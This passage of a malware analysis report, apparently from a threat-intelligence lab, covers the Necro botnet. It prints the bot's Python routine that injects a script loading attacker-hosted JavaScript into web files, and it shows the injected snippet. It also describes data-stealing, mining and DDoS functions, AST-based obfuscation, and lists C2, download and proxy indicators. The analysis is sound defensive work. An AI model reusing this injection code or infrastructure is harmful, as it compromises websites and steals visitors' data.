from the resolution records some domains uses IPv6 addresses.\n\n```\n2021-03-09 10:50:50     2021-03-12 16:10:45     ntxkg0la99w.zapto.org   \n2021-03-12 08:19:49     2021-03-12 08:19:49     xxdqj6xbjpkzhk7k.servemp3.com      \n2021-03-12 10:35:11     2021-03-12 10:35:11     qb7opowcawiagia.viewdns.net     \n2021-03-12 08:46:28     2021-03-12 08:46:28     v5jke3mv89fjvxgd.serveftp.com   \n2021-03-12 14:59:54     2021-03-12 14:59:54     nwpzhm8ziyhdzm.redirectme.net   \n2021-03-12 03:12:07     2021-03-12 03:12:07     m1afommgsdowkmegc.redirectme.net   \n2021-03-12 04:56:47     2021-03-12 04:56:47     ewmhkvdcoj3.servemp3.com        \n2021-03-12 08:38:17     2021-03-12 08:38:17     tfcxvcg0lkc9vpx.myftp.org       \n2021-03-12 06:48:19     2021-03-12 06:48:19     bdcauhuzk0d.viewdns.net \n```\n\n### JS code embedding \n\nThe main purpose of Necro's JS code embedding is to inject mining code in victim’s web pages.\n\n```\nelif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'injectcount':\n    self.commSock.send('PRIVMSG %s :I have injected into %s files total\\n' % (MZqyBxdoS, self.AkvElneS))\nelif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'reinject':\n    threading.Thread(target=self.OLkEqimhli).start()\n    self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\\n' % (MZqyBxdoS))\n```\n\nNecro will first traverse the `'*.js', '*.html', '*.htm', '*.php'` files in the specified directory of the infected device to find the target of injection.\n\n```\nif os.name != \"nt\":\n    self.AkvElneS=0\n    for fkEoBpoAxpZc in [ele for ele in os.listdir(\"/\") if ele not in ['proc', \"bin\", 'sbin', 'sbin', \"dev\", \"lib\", 'lib64', 'lost+found', \"sys\", 'boot', \"etc\"]]:\n        for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:\n            for oGADwYHVg in os.popen(\"find \\\"/\" + fkEoBpoAxpZc + \"\\\" -type f -name \\\"\" + hfHpWZSupopK + \"\\\"\").read().split(\"\\n\"):\n                oGADwYHVg = oGADwYHVg.replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n                if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and \"npm\" not in oGADwYHVg and oGADwYHVg != \"\":\n                    self.chLYewdc(oGADwYHVg)\n```\n\nOnce the target is found, Necro inserts a piece of code into the file.\n\n```\nMnPbIqasMz=open(oGADwYHVg,\"rb\")\n            mkkzygnopRnB=MnPbIqasMz.read()\n            MnPbIqasMz.close()\n            fPSqTAZGgcep = kdYaxMPRdP(8)\n            OGipqKBSmmTb = kdYaxMPRdP(8)\n            hgOlaeQcQza = b64encode(\"//\" + self.injectCOxhTEJfB + '/campaign.js')\n            fwEiSidxlgH='(function(' + OGipqKBSmmTb + \", \" + fPSqTAZGgcep + \") {\" + fPSqTAZGgcep + \" = \" + OGipqKBSmmTb + \".createElement('script');\" + fPSqTAZGgcep + \".type = 'text/javascript';\" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + \".src = atob('\" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + \"'.replace(/\" + IoMfNcaVcJL + \"/gi, '')) + '?' + String(Math.random()).replace('0.','');\" + OGipqKBSmmTb + \".getElementsByTagName('body')[0].appendChild(\" + fPSqTAZGgcep + ');}(document));'\n           ...\n            else:\n                if oGADwYHVg.endswith(\".js\"):\n                    if 'var ' in mkkzygnopRnB:\n                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)\n                        self.AkvElneS+=1\n                        wQARXUaaF = True\n                else:\n                    if '</body' in mkkzygnopRnB:\n                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '\"' + 'text/javascript' + '\"' + \">\" + fwEiSidxlgH + '</script></body', 1)\n                        self.AkvElneS+=1\n                        wQARXUaaF = True\n            if wQARXUaaF:\n                MnPbIqasMz=open(oGADwYHVg, \"wb\")\n```\n\nThe infected page will have the following additional code.\n\n```\n(function(v2, v1) {\n    v1 = v2.createElement('script');\n    v1.type = 'text/javascript';\n    v1.async = true;\n    v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');\n    v2.getElementsByTagName('body')[0].appendChild(v1);\n}(document));\n```\n\nThis small piece of code will link to a script `hxxp[:]//ublock-referer.dev/campaign.js` . Through our WebInsight system we can see that 300+ websites have been infected by Necro in the last week.\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/webinsight.png"}],["markdown",{"markdown":"campaign.js is a highly obfuscated javascript code with a detection rate of 0 on VT.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect-1.png"}],["markdown",{"markdown":"\nThe code uses two layers of obfuscation, it has three main functions.\n\n* Mining\n\nWhen an end user visits the victim’s website, the browser will load a mining js script: `hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2`\n\n* User data stealing\n\nThe code monitors 4 events `unload/beforeunload/popstate/pagehide` and then reports the data through the following two interfaces\n\n| Interface | Functions              |\n| :-------- | :--------------------- |\n| /l.php    | upload keyboad records |\n| /f.php    | upload form data       |\n\n* Execute instruction\n\nWhen end users access victim’s website, the malicious js will be loaded, and `ublock-referer.dev/api.ph` will be called to perform various functions and send back some of the users’ data, a brief breakdown of the functions \n\n| Command   | Functions                                                    |  Interface   |\n| :-------- | :----------------------------------------------------------- | :-----: |\n| cookie    | To send back cookie                                          | /c.php  |\n| clipboard | To send back clipboard content                               | /cb.php |\n| view      | Calling iframe to load any url                               |         |\n| post      | Send POST request to target                             |         |\n| floodpost | DDos a target with periodical POST requests                  |         |\n| load      | Periodically adding Image objects and requesting links to specified resources to DDos a target |         |\n| antiddos  | By adding iframes periodically and adding random strings of numbers after the target link to DDos target |         |\n| layer4    | Periodically sending POST requests of random content of specified length range to the target (DDoS) |         |\n| jack      | Load the specified content by creating iframe, can be used to fake or hijack webpage |         |\n| eval      | Execute arbitrary code via the eval method                   |         |\n| md5/sha1  | Perform collision attacks against MD5 with the specified length range and code table, and report back when it succeeds | /h.php  |\n\nThe corresponding C2 is still `hxxp[:]//ublock-referer.dev/`, switching between http/https according to the protocol of the compromised site\n\n```\nmaster = window[\"location\"][\"protocol\"] + \"//ublock-referer.dev\";\nAPIKey = \"callbackScript\";\n```\n\nThe URL `hxxps[:]//ublock-referer.dev` is also used to download the malicious FireFox plug-in `ublock_referer-1.0.0-an+fx.xpi`, the plug-in uses the above mentioned Javascript Bot [Cloud9](https://github.com/Antonio24/Cloud9/blob/master/campaign.js).\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/malware_firefox_addone-1.PNG"}],["markdown",{"markdown":"\n### Code obfuscation algorithm\n\nThis new version of Necro abandoned the original simple variable name replacement algorithm, and implemented a code morphing algorithm based on the abstract syntax tree [AST](https://docs.python.org/3/library/ast.html), which achieves full complete randomization of object names and higher code coverage of obfuscation, with the result that the new version of Necro sample VT detection rate of 0.\n\n```\ndDojPSRD=open(ULTiBINyz,\"rb\")\n     ...\n     p = ast.parse(CFiLMBZFoL)\n     MiaFfQWZhb().visit(p)\n     for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):\n        ...\n     EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n     joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})\n     for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:\n         aPpaAZnhc.append(mFVUeqoHs.name)\n     EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n     for ubhohFYJDo in EqDdlmuEhx:\n         for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:\n             if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:\n                 aPpaAZnhc.append(mFVUeqoHs.name)\n     ...\n     hkaxeZCocag=open(ULTiBINyz,\"wb\")\n```\n\n## Summary\nSince Necro was discovered, we have been continuously following and tracking this botnet, and associated it with the KekSec group behind it, and discovered more of their activities to attack Linux devices. We will continue to keep an eye on Necro, and will disclose any new findings.\n\n## IOC\n\n* Tor C2\n\n```\nfaw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion\n```\n\n* Download URL\n```\nhttp://ntxkg0la99w.zapto.org/setup.py\nhttp://kek.gay/benchmark.py\nhttp://kek.gay/x86.dll\nhttp://kek.gay/x64.dll\nhttp://kek.gay/xmrig1.py\nhttp://kek.gay/xmrig1\nhttp://kek.gay/py.exe\n```\n\n* JS Miner/Bot Related\n```\nhttps://cloud-miner.de/*\nhttps://ublock-referer.dev/*\n```\n\n* Tor Proxy\n```\n77.238.128.166:9050\n192.248.190.123:8017\n192.248.190.123:8009\n213.251.238.186:9050\n178.62.242.15:9107\n88.198.82.11:9051\n52.3.115.71:9050\n83.217.28.46:9050\n147.135.208.44:9095\n188.166.34.137:9000\n103.233.206.22:179\n161.97.71.22:9000\n54.161.239.214:9050\n194.5.178.150:666\n144.91.74.241:9080\n134.209.230.13:8080\n201.40.122.152:9050\n206.81.27.29:8080\n127.0.0.1:9050\n```\n\n\n## Contact us\nReaders are always welcomed to reach us on twitter, or email to netlabat 360dot cn"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[1,"p",[]]],"ghostVersion":"3.0"}